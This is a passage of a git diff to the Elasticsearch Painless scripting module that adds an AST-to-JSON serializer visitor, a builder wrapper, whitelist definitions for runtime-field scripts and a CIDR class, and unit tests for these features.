userConditionalNode.getConditionNode().visit(this, scope); + builder.endArray(); + + builder.startArray("true"); + userConditionalNode.getTrueNode().visit(this, scope); + builder.endArray(); + + builder.startArray("false"); + userConditionalNode.getFalseNode().visit(this, scope); + builder.endArray(); + + end(userConditionalNode, scope); + } + + @Override + public void visitElvis(EElvis userElvisNode, ScriptScope scope) { + start(userElvisNode); + + builder.startArray(Fields.LEFT); + userElvisNode.getLeftNode().visit(this, scope); + builder.endArray(); + + builder.startArray(Fields.RIGHT); + userElvisNode.getRightNode().visit(this, scope); + builder.endArray(); + + end(userElvisNode, scope); + } + + @Override + public void visitListInit(EListInit userListInitNode, ScriptScope scope) { + start(userListInitNode); + builder.startArray("values"); + userListInitNode.visitChildren(this, scope); + builder.endArray(); + end(userListInitNode, scope); + } + + @Override + public void visitMapInit(EMapInit userMapInitNode, ScriptScope scope) { + start(userMapInitNode); + expressions("keys", userMapInitNode.getKeyNodes(), scope); + expressions("values", userMapInitNode.getValueNodes(), scope); + end(userMapInitNode, scope); + } + + @Override + public void visitNewArray(ENewArray userNewArrayNode, ScriptScope scope) { + start(userNewArrayNode); + builder.field(Fields.TYPE, userNewArrayNode.getCanonicalTypeName()); + builder.field("isInitializer", userNewArrayNode.isInitializer()); + expressions("values", userNewArrayNode.getValueNodes(), scope); + end(userNewArrayNode, scope); + } + + @Override + public void visitNewObj(ENewObj userNewObjNode, ScriptScope scope) { + start(userNewObjNode); + builder.field(Fields.TYPE, userNewObjNode.getCanonicalTypeName()); + arguments(userNewObjNode.getArgumentNodes(), scope); + end(userNewObjNode, scope); + } + + @Override + public void visitCallLocal(ECallLocal userCallLocalNode, ScriptScope scope) { + start(userCallLocalNode); + builder.field("methodName", userCallLocalNode.getMethodName()); + arguments(userCallLocalNode.getArgumentNodes(), scope); + end(userCallLocalNode, scope); + } + + @Override + public void visitBooleanConstant(EBooleanConstant userBooleanConstantNode, ScriptScope scope) { + start(userBooleanConstantNode); + builder.field("value", userBooleanConstantNode.getBool()); + end(userBooleanConstantNode, scope); + } + + @Override + public void visitNumeric(ENumeric userNumericNode, ScriptScope scope) { + start(userNumericNode); + builder.field("numeric", userNumericNode.getNumeric()); + builder.field("radix", userNumericNode.getRadix()); + end(userNumericNode, scope); + } + + @Override + public void visitDecimal(EDecimal userDecimalNode, ScriptScope scope) { + start(userDecimalNode); + builder.field("value", userDecimalNode.getDecimal()); + end(userDecimalNode, scope); + } + + @Override + public void visitString(EString userStringNode, ScriptScope scope) { + start(userStringNode); + builder.field("value", userStringNode.getString()); + end(userStringNode, scope); + } + + @Override + public void visitNull(ENull userNullNode, ScriptScope scope) { + start(userNullNode); + end(userNullNode, scope); + } + + @Override + public void visitRegex(ERegex userRegexNode, ScriptScope scope) { + start(userRegexNode); + builder.field("pattern", userRegexNode.getPattern()); + builder.field("flags", userRegexNode.getFlags()); + end(userRegexNode, scope); + } + + @Override + public void visitLambda(ELambda userLambdaNode, ScriptScope scope) { + start(userLambdaNode); + builder.field("types", userLambdaNode.getCanonicalTypeNameParameters()); + builder.field("parameters", userLambdaNode.getParameterNames()); + block(userLambdaNode.getBlockNode(), scope); + end(userLambdaNode, scope); + } + + @Override + public void visitFunctionRef(EFunctionRef userFunctionRefNode, ScriptScope scope) { + start(userFunctionRefNode); + builder.field(Fields.SYMBOL, userFunctionRefNode.getSymbol()); + builder.field("methodName", userFunctionRefNode.getMethodName()); + end(userFunctionRefNode, scope); + } + + @Override + public void visitNewArrayFunctionRef(ENewArrayFunctionRef userNewArrayFunctionRefNode, ScriptScope scope) { + start(userNewArrayFunctionRefNode); + builder.field(Fields.TYPE, userNewArrayFunctionRefNode.getCanonicalTypeName()); + end(userNewArrayFunctionRefNode, scope); + } + + @Override + public void visitSymbol(ESymbol userSymbolNode, ScriptScope scope) { + start(userSymbolNode); + builder.field(Fields.SYMBOL, userSymbolNode.getSymbol()); + end(userSymbolNode, scope); + } + + @Override + public void visitDot(EDot userDotNode, ScriptScope scope) { + start(userDotNode); + + builder.startArray("prefix"); + userDotNode.visitChildren(this, scope); + builder.endArray(); + + builder.field("index", userDotNode.getIndex()); + builder.field("nullSafe", userDotNode.isNullSafe()); + + end(userDotNode, scope); + } + + @Override + public void visitBrace(EBrace userBraceNode, ScriptScope scope) { + start(userBraceNode); + + builder.startArray("prefix"); + userBraceNode.getPrefixNode().visit(this, scope); + builder.endArray(); + + builder.startArray("index"); + userBraceNode.getIndexNode().visit(this, scope); + builder.endArray(); + + end(userBraceNode, scope); + } + + @Override + public void visitCall(ECall userCallNode, ScriptScope scope) { + start(userCallNode); + + builder.startArray("prefix"); + userCallNode.getPrefixNode().visitChildren(this, scope); + builder.endArray(); + + builder.field("isNullSafe", userCallNode.isNullSafe()); + builder.field("methodName", userCallNode.getMethodName()); + + arguments(userCallNode.getArgumentNodes(), scope); + + end(userCallNode, scope); + } + + private void start(ANode node) { + builder.startObject(); + builder.field(Fields.NODE, node.getClass().getSimpleName()); + builder.field(Fields.LOCATION, node.getLocation().getOffset()); + } + + private void end(ANode node, ScriptScope scope) { + decorations(node, scope); + builder.endObject(); + } + + private void block(String name, SBlock block, ScriptScope scope) { + builder.startArray(name); + if (block != null) { + block.visit(this, scope); + } + builder.endArray(); + } + + private void block(SBlock block, ScriptScope scope) { + block(Fields.BLOCK, block, scope); + } + + private void loop(AExpression condition, SBlock block, ScriptScope scope) { + builder.startArray(Fields.CONDITION); + condition.visit(this, scope); + builder.endArray(); + + block(block, scope); + } + + private void operation(Operation op) { + builder.startObject("operation"); + if (op != null) { + builder.field(Fields.SYMBOL, op.symbol); + builder.field("name", op.name); + } + builder.endObject(); + } + + private void binaryOperation(Operation op, AExpression left, AExpression right, ScriptScope scope) { + operation(op); + + builder.startArray(Fields.LEFT); + left.visit(this, scope); + builder.endArray(); + + builder.startArray(Fields.RIGHT); + right.visit(this, scope); + builder.endArray(); + } + + private void arguments(List arguments, ScriptScope scope) { + if (arguments.isEmpty() == false) { + expressions("arguments", arguments, scope); + } + } + + private void expressions(String name, List expressions, ScriptScope scope) { + if (expressions.isEmpty() == false) { + builder.startArray(name); + for (AExpression expression : expressions) { + expression.visit(this, scope); + } + builder.endArray(); + } + } + + private void decorations(ANode node, ScriptScope scope) { + Set> conditions = scope.getAllConditions(node.getIdentifier()); + if (conditions.isEmpty() == false) { + builder.field(Fields.CONDITIONS, conditions.stream().map(Class::getSimpleName).sorted().collect(Collectors.toList())); + } + + Map, Decoration> decorations = scope.getAllDecorations(node.getIdentifier()); + if (decorations.isEmpty() == false) { + builder.startArray(Fields.DECORATIONS); + + List> dkeys = decorations.keySet().stream() + .sorted(Comparator.comparing(Class::getName)) + .collect(Collectors.toList()); + + for (Class dkey : dkeys) { + DecorationToXContent.ToXContent(decorations.get(dkey), builder); + } + builder.endArray(); + } + } + + @Override + public String toString() { + return builder.toString(); + } +} diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/toxcontent/XContentBuilderWrapper.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/toxcontent/XContentBuilderWrapper.java new file mode 100644 index 0000000000000..72db1021da138 --- /dev/null +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/toxcontent/XContentBuilderWrapper.java @@ -0,0 +1,159 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless.toxcontent; + +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentFactory; + +import java.io.IOException; +import java.util.List; +import java.util.Objects; +import java.util.regex.Pattern; + +public class XContentBuilderWrapper { + public final XContentBuilder builder; + + public XContentBuilderWrapper(XContentBuilder builder) { + this.builder = Objects.requireNonNull(builder); + } + + public XContentBuilderWrapper() { + XContentBuilder jsonBuilder; + try { + jsonBuilder = XContentFactory.jsonBuilder(); + } catch (IOException io) { + throw new RuntimeException(io); + } + this.builder = jsonBuilder.prettyPrint(); + } + + public void startObject() { + try { + builder.startObject(); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void startObject(String name) { + try { + builder.startObject(name); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void endObject() { + try { + builder.endObject(); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void startArray() { + try { + builder.startArray(); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void startArray(String name) { + try { + builder.startArray(name); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void endArray() { + try { + builder.endArray(); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void field(String name) { + try { + builder.field(name); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void field(String name, Object value) { + try { + if (value instanceof Character) { + builder.field(name, ((Character) value).charValue()); + } else if (value instanceof Pattern) { + // This does not serialize the flags + builder.field(name, ((Pattern) value).pattern()); + } else { + builder.field(name, value); + } + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void field(String name, String value) { + try { + builder.field(name, value); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void field(String name, Class value) { + field(name, value.getName()); + } + + public void field(String name, int value) { + try { + builder.field(name, value); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void field(String name, boolean value) { + try { + builder.field(name, value); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void field(String name, List values) { + try { + builder.field(name, values); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public void value(String value) { + try { + builder.value(value); + } catch (IOException io) { + throw new IllegalStateException(io); + } + } + + public String toString() { + try { + builder.flush(); + } catch (IOException io) { + throw new RuntimeException(io); + } + return builder.getOutputStream().toString(); + } +} diff --git a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.net.txt b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.net.txt new file mode 100644 index 0000000000000..6219d5ab99725 --- /dev/null +++ b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.net.txt @@ -0,0 +1,12 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the Server Side Public License, v 1; you may not use this file except +# in compliance with, at your election, the Elastic License 2.0 or the Server +# Side Public License, v 1. +# + +class org.elasticsearch.painless.api.CIDR { + (String) + boolean contains(String) +} diff --git a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.boolean_field.txt b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.boolean_field.txt new file mode 100644 index 0000000000000..ffc61be086208 --- /dev/null +++ b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.boolean_field.txt @@ -0,0 +1,21 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the Server Side Public License, v 1; you may not use this file except +# in compliance with, at your election, the Elastic License 2.0 or the Server +# Side Public License, v 1. +# + +# The whitelist for boolean-valued runtime fields + +# These two whitelists are required for painless to find the classes +class org.elasticsearch.script.BooleanFieldScript @no_import { +} +class org.elasticsearch.script.BooleanFieldScript$Factory @no_import { +} + +static_import { + # The `emit` callback to collect values for the field + void emit(org.elasticsearch.script.BooleanFieldScript, boolean) bound_to org.elasticsearch.script.BooleanFieldScript$Emit +} + diff --git a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.date_field.txt b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.date_field.txt new file mode 100644 index 0000000000000..dca45c308acd4 --- /dev/null +++ b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.date_field.txt @@ -0,0 +1,25 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the Server Side Public License, v 1; you may not use this file except +# in compliance with, at your election, the Elastic License 2.0 or the Server +# Side Public License, v 1. +# + +# The whitelist for date-valued runtime fields + +# These two whitelists are required for painless to find the classes +class org.elasticsearch.script.DateFieldScript @no_import { +} +class org.elasticsearch.script.DateFieldScript$Factory @no_import { +} + +static_import { + # The `emit` callback to collect values for the field + void emit(org.elasticsearch.script.DateFieldScript, long) bound_to org.elasticsearch.script.DateFieldScript$Emit + # Parse a value from the source to millis since epoch + long parse(org.elasticsearch.script.DateFieldScript, def) bound_to org.elasticsearch.script.DateFieldScript$Parse +} + + + diff --git a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.double_field.txt b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.double_field.txt new file mode 100644 index 0000000000000..394c333027d06 --- /dev/null +++ b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.double_field.txt @@ -0,0 +1,21 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the Server Side Public License, v 1; you may not use this file except +# in compliance with, at your election, the Elastic License 2.0 or the Server +# Side Public License, v 1. +# + +# The whitelist for double-valued runtime fields + +# These two whitelists are required for painless to find the classes +class org.elasticsearch.script.DoubleFieldScript @no_import { +} +class org.elasticsearch.script.DoubleFieldScript$Factory @no_import { +} + +static_import { + # The `emit` callback to collect values for the field + void emit(org.elasticsearch.script.DoubleFieldScript, double) bound_to org.elasticsearch.script.DoubleFieldScript$Emit +} + diff --git a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.geo_point_field.txt b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.geo_point_field.txt new file mode 100644 index 0000000000000..2cf8961b434ca --- /dev/null +++ b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.geo_point_field.txt @@ -0,0 +1,20 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the Server Side Public License, v 1; you may not use this file except +# in compliance with, at your election, the Elastic License 2.0 or the Server +# Side Public License, v 1. +# + +# The whitelist for ip-valued runtime fields + +# These two whitelists are required for painless to find the classes +class org.elasticsearch.script.GeoPointFieldScript @no_import { +} +class org.elasticsearch.script.GeoPointFieldScript$Factory @no_import { +} + +static_import { + # The `emit` callback to collect values for the field + void emit(org.elasticsearch.script.GeoPointFieldScript, double, double) bound_to org.elasticsearch.script.GeoPointFieldScript$Emit +} diff --git a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.ip_field.txt b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.ip_field.txt new file mode 100644 index 0000000000000..dd17ccf34f480 --- /dev/null +++ b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.ip_field.txt @@ -0,0 +1,20 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the Server Side Public License, v 1; you may not use this file except +# in compliance with, at your election, the Elastic License 2.0 or the Server +# Side Public License, v 1. +# + +# The whitelist for ip-valued runtime fields + +# These two whitelists are required for painless to find the classes +class org.elasticsearch.script.IpFieldScript @no_import { +} +class org.elasticsearch.script.IpFieldScript$Factory @no_import { +} + +static_import { + # The `emit` callback to collect values for the field + void emit(org.elasticsearch.script.IpFieldScript, String) bound_to org.elasticsearch.script.IpFieldScript$Emit +} diff --git a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.keyword_field.txt b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.keyword_field.txt new file mode 100644 index 0000000000000..7e6e308d055cc --- /dev/null +++ b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.keyword_field.txt @@ -0,0 +1,20 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the Server Side Public License, v 1; you may not use this file except +# in compliance with, at your election, the Elastic License 2.0 or the Server +# Side Public License, v 1. +# + +# The whitelist for keyword runtime fields + +# These two whitelists are required for painless to find the classes +class org.elasticsearch.script.StringFieldScript @no_import { +} +class org.elasticsearch.script.StringFieldScript$Factory @no_import { +} + +static_import { + # The `emit` callback to collect values for the field + void emit(org.elasticsearch.script.StringFieldScript, String) bound_to org.elasticsearch.script.StringFieldScript$Emit +} diff --git a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.long_field.txt b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.long_field.txt new file mode 100644 index 0000000000000..138f89d78d393 --- /dev/null +++ b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.script.long_field.txt @@ -0,0 +1,20 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the Server Side Public License, v 1; you may not use this file except +# in compliance with, at your election, the Elastic License 2.0 or the Server +# Side Public License, v 1. +# + +# The whitelist for long-valued runtime fields + +# These two whitelists are required for painless to find the classes +class org.elasticsearch.script.LongFieldScript @no_import { +} +class org.elasticsearch.script.LongFieldScript$Factory @no_import { +} + +static_import { + # The `emit` callback to collect values for the field + void emit(org.elasticsearch.script.LongFieldScript, long) bound_to org.elasticsearch.script.LongFieldScript$Emit +} diff --git a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.txt b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.txt index 03d28c297d5bd..1adda3bcef102 100644 --- a/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.txt +++ b/modules/lang-painless/src/main/resources/org/elasticsearch/painless/spi/org.elasticsearch.txt @@ -53,6 +53,12 @@ class org.elasticsearch.common.geo.GeoPoint { double getLon() } +class org.elasticsearch.common.geo.GeoBoundingBox { + org.elasticsearch.common.geo.GeoPoint topLeft() + org.elasticsearch.common.geo.GeoPoint bottomRight() +} + + class org.elasticsearch.index.fielddata.ScriptDocValues$Strings { String get(int) String getValue() @@ -148,6 +154,12 @@ class org.elasticsearch.index.fielddata.ScriptDocValues$Doubles { double getValue() } +class org.elasticsearch.index.fielddata.ScriptDocValues$Geometry { + int getDimensionalType() + org.elasticsearch.common.geo.GeoPoint getCentroid() + org.elasticsearch.common.geo.GeoBoundingBox getBoundingBox() +} + class org.elasticsearch.index.fielddata.ScriptDocValues$GeoPoints { org.elasticsearch.common.geo.GeoPoint get(int) org.elasticsearch.common.geo.GeoPoint getValue() diff --git a/modules/lang-painless/src/test/java/org/elasticsearch/painless/BasicStatementTests.java b/modules/lang-painless/src/test/java/org/elasticsearch/painless/BasicStatementTests.java index cb7641820b395..da9c674e9bfe6 100644 --- a/modules/lang-painless/src/test/java/org/elasticsearch/painless/BasicStatementTests.java +++ b/modules/lang-painless/src/test/java/org/elasticsearch/painless/BasicStatementTests.java @@ -4,6 +4,7 @@ import org.elasticsearch.script.ScriptContext; import java.util.ArrayList; +import java.util.Arrays; import java.util.Collections; import java.util.HashMap; import java.util.List; @@ -508,4 +509,25 @@ public void testForEachWithBreak() { "[i, j];" )); } + + public void testNoLoopCounterInForEach() { + String bytecode = Debugger.toString("def x = []; for (y in x) { int z; }"); + assertFalse(bytecode.contains("IINC")); + bytecode = Debugger.toString("List x = []; for (y in x) { int z; }"); + assertFalse(bytecode.contains("IINC")); + bytecode = Debugger.toString("int[] x = new int[] {}; for (y in x) { int z; }"); + assertFalse(bytecode.contains("IINC 1 -1")); + + int[] test = new int[10000000]; + Arrays.fill(test, 2); + Map params = new HashMap<>(); + params.put("values", test); + int total = (int)exec("int total = 0; for (int value : params['values']) total += value; return total", params, false); + assertEquals(total, 20000000); + + PainlessError pe = expectScriptThrows(PainlessError.class, () -> + exec("int total = 0; for (int value = 0; value < params['values'].length; ++value) total += value; return total", + params, false)); + assertEquals("The maximum number of statements that can be executed in a loop has been reached.", pe.getMessage()); + } } diff --git a/modules/lang-painless/src/test/java/org/elasticsearch/painless/CidrTests.java b/modules/lang-painless/src/test/java/org/elasticsearch/painless/CidrTests.java new file mode 100644 index 0000000000000..5fbb603368976 --- /dev/null +++ b/modules/lang-painless/src/test/java/org/elasticsearch/painless/CidrTests.java @@ -0,0 +1,52 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless; + +public class CidrTests extends ScriptTestCase { + public void testContains() { + Object bool = exec("CIDR c = new CIDR('10.1.1.0/23'); c.contains('10.1.1.128') && c.contains('10.1.0.255')"); + assertEquals(Boolean.TRUE, bool); + + + bool = exec("CIDR c = new CIDR('10.1.1.0/25'); c.contains('10.1.1.127')"); + assertEquals(Boolean.TRUE, bool); + + bool = exec("CIDR c = new CIDR('10.1.1.0/25'); c.contains('10.1.1.129')"); + assertEquals(Boolean.FALSE, bool); + + bool = exec("new CIDR('192.168.3.5').contains('192.168.3.5')"); + assertEquals(Boolean.TRUE, bool); + + bool = exec("new CIDR('192.168.3.5').contains('')"); + assertEquals(Boolean.FALSE, bool); + + bool = exec("new CIDR('2001:0db8:85a3::/64').contains('2001:0db8:85a3:0000:0000:8a2e:0370:7334')"); + assertEquals(Boolean.TRUE, bool); + + bool = exec("new CIDR('2001:0db8:85a3::/64').contains('2001:0db8:85a3:0001:0000:8a2e:0370:7334')"); + assertEquals(Boolean.FALSE, bool); + + } + + public void testInvalidIPs() { + IllegalArgumentException e = expectScriptThrows(IllegalArgumentException.class, () -> exec("new CIDR('abc')")); + assertEquals("'abc' is not an IP string literal.", e.getMessage()); + + e = expectScriptThrows(IllegalArgumentException.class, () -> exec("new CIDR('10.257.3.5')")); + assertEquals("'10.257.3.5' is not an IP string literal.", e.getMessage()); + + e = expectScriptThrows(IllegalArgumentException.class, () -> exec("new CIDR('2001:0db8:85a3:0000:0000:8a2e:0370:733g')")); + assertEquals("'2001:0db8:85a3:0000:0000:8a2e:0370:733g' is not an IP string literal.", e.getMessage()); + + e = expectScriptThrows(IllegalArgumentException.class, + () -> exec("new CIDR('2001:0db8:85a3::/64').contains('2001:0db8:85a3:0000:0000:8a2g:0370:7334')") + ); + assertEquals("'2001:0db8:85a3:0000:0000:8a2g:0370:7334' is not an IP string literal.", e.getMessage()); + } +} diff --git a/modules/lang-painless/src/test/java/org/elasticsearch/painless/Debugger.java b/modules/lang-painless/src/test/java/org/elasticsearch/painless/Debugger.java index f4df9a1424cbb..63c174ba1303a 100644 --- a/modules/lang-painless/src/test/java/org/elasticsearch/painless/Debugger.java +++ b/modules/lang-painless/src/test/java/org/elasticsearch/painless/Debugger.java @@ -10,7 +10,11 @@ import org.elasticsearch.painless.action.PainlessExecuteAction.PainlessTestScript; import org.elasticsearch.painless.lookup.PainlessLookupBuilder; +import org.elasticsearch.painless.phase.IRTreeVisitor; +import org.elasticsearch.painless.phase.UserTreeVisitor; import org.elasticsearch.painless.spi.Whitelist; +import org.elasticsearch.painless.symbol.ScriptScope; +import org.elasticsearch.painless.symbol.WriteScope; import org.objectweb.asm.util.Textifier; import java.io.PrintWriter; @@ -42,4 +46,30 @@ static String toString(Class iface, String source, CompilerSettings settings, textifier.print(outputWriter); return output.toString(); } + + /** compiles to bytecode, and returns debugging output */ + private static String tree(Class iface, String source, CompilerSettings settings, List whitelists, + UserTreeVisitor semanticPhaseVisitor, UserTreeVisitor irPhaseVisitor, + IRTreeVisitor asmPhaseVisitor) { + StringWriter output = new StringWriter(); + PrintWriter outputWriter = new PrintWriter(output); + Textifier textifier = new Textifier(); + try { + new Compiler(iface, null, null, PainlessLookupBuilder.buildFromWhitelists(whitelists)) + .compile("", source, settings, textifier, semanticPhaseVisitor, irPhaseVisitor, asmPhaseVisitor); + } catch (RuntimeException e) { + textifier.print(outputWriter); + e.addSuppressed(new Exception("current bytecode: \n" + output)); + throw e; + } + + textifier.print(outputWriter); + return output.toString(); + } + + static void phases(final String source, UserTreeVisitor semanticPhaseVisitor, UserTreeVisitor irPhaseVisitor, + IRTreeVisitor asmPhaseVisitor) { + tree(PainlessTestScript.class, source, new CompilerSettings(), Whitelist.BASE_WHITELISTS, semanticPhaseVisitor, irPhaseVisitor, + asmPhaseVisitor); + } } diff --git a/modules/lang-painless/src/test/java/org/elasticsearch/painless/StatementTests.java b/modules/lang-painless/src/test/java/org/elasticsearch/painless/StatementTests.java new file mode 100644 index 0000000000000..52df613f9b647 --- /dev/null +++ b/modules/lang-painless/src/test/java/org/elasticsearch/painless/StatementTests.java @@ -0,0 +1,18 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless; + +public class StatementTests extends ScriptTestCase { + // Ensure that new object creation without a read does not fail. + public void testMethodDup() { + assertEquals(1, exec("int i = 1; new ArrayList(new HashSet()); return i;")); + assertEquals(1, exec("new HashSet(); return 1;")); + assertEquals(1, exec("void foo() { new HashMap(); new ArrayList(); } return 1;")); + } +} diff --git a/modules/lang-painless/src/test/java/org/elasticsearch/painless/ToXContentTests.java b/modules/lang-painless/src/test/java/org/elasticsearch/painless/ToXContentTests.java new file mode 100644 index 0000000000000..e6a74a7cff64e --- /dev/null +++ b/modules/lang-painless/src/test/java/org/elasticsearch/painless/ToXContentTests.java @@ -0,0 +1,124 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless; + +import org.elasticsearch.common.bytes.BytesReference; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentFactory; +import org.elasticsearch.common.xcontent.XContentHelper; +import org.elasticsearch.painless.phase.UserTreeVisitor; +import org.elasticsearch.painless.symbol.ScriptScope; +import org.elasticsearch.painless.toxcontent.UserTreeToXContent; + +import java.io.IOException; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +public class ToXContentTests extends ScriptTestCase { + public void testUserFunction() { + Map func = getFunction("def twofive(int i) { return 25 + i; } int j = 23; twofive(j)", "twofive"); + assertFalse((Boolean)func.get("isInternal")); + assertTrue((Boolean)func.get("isStatic")); + assertEquals("SFunction", func.get("node")); + assertEquals("def", func.get("returns")); + assertEquals(List.of("int"), func.get("parameterTypes")); + assertEquals(List.of("i"), func.get("parameters")); + } + + public void testBlock() { + Map execute = getExecute("int i = 5; return i;"); + Map block = getNode(execute, "block", "SBlock"); + for (Object obj : (List) block.get("statements")) { + Map statement = (Map) obj; + } + Map decl = getStatement(block, "SDeclBlock"); + List decls = (List) decl.get("declarations"); + assertEquals(1, decls.size()); + assertEquals("i", ((Map) decls.get(0)).get("symbol")); + assertEquals("int", ((Map) decls.get(0)).get("type")); + + Map ret = getStatement(block, "SReturn"); + Map symbol = (Map)((List) ret.get("value")).get(0); + assertEquals("ESymbol", symbol.get("node")); + assertEquals("i", symbol.get("symbol")); + } + + public void testFor() { + Map execute = getExecute("int q = 0; for (int j = 0; j < 100; j++) { q += j; } return q"); + Map sfor = getStatement(getNode(execute, "block", "SBlock"), "SFor"); + + Map ecomp = getNode(sfor, "condition", "EComp"); + assertEquals("j", getNode(ecomp, "left", "ESymbol").get("symbol")); + assertEquals("100", getNode(ecomp, "right", "ENumeric").get("numeric")); + assertEquals("less than", ((Map) ecomp.get("operation")).get("name")); + + Map init = getNode(sfor, "initializer", "SDeclBlock"); + Map decl = getNode(init, "declarations", "SDeclaration"); + assertEquals("j", decl.get("symbol")); + assertEquals("int", decl.get("type")); + assertEquals("0", getNode(decl, "value", "ENumeric").get("numeric")); + + Map after = getNode(sfor, "afterthought", "EAssignment"); + assertEquals("j", getNode(after, "left", "ESymbol").get("symbol")); + assertEquals("1", getNode(after, "right", "ENumeric").get("numeric")); + assertTrue((Boolean)after.get("postIfRead")); + } + + private Map getStatement(Map block, String node) { + return getNode(block, "statements", node); + } + + private Map getNode(Map map, String key, String node) { + for (Object obj : (List) map.get(key)) { + Map nodeMap = (Map) obj; + if (node.equals(nodeMap.get("node"))) { + return nodeMap; + } + } + fail("Missing node [" + node + "]"); + return Collections.emptyMap(); + } + + private Map getExecute(String script) { + return getFunction(script, "execute"); + } + + private Map getFunction(String script, String function) { + return getFunction(semanticPhase(script), function); + } + + private Map getFunction(XContentBuilder builder, String function) { + Map map = XContentHelper.convertToMap(BytesReference.bytes(builder), false, builder.contentType()).v2(); + for (Object funcObj: ((List)map.get("functions"))) { + if (funcObj instanceof Map) { + if (function.equals(((Map) funcObj).get("name"))) { + return (Map) funcObj; + } + } + } + fail("Function [" + function + "] not found"); + return Collections.emptyMap(); + } + + private XContentBuilder semanticPhase(String script) { + XContentBuilder builder; + try { + builder = XContentFactory.jsonBuilder(); + } catch (IOException err) { + fail("script [" + script + 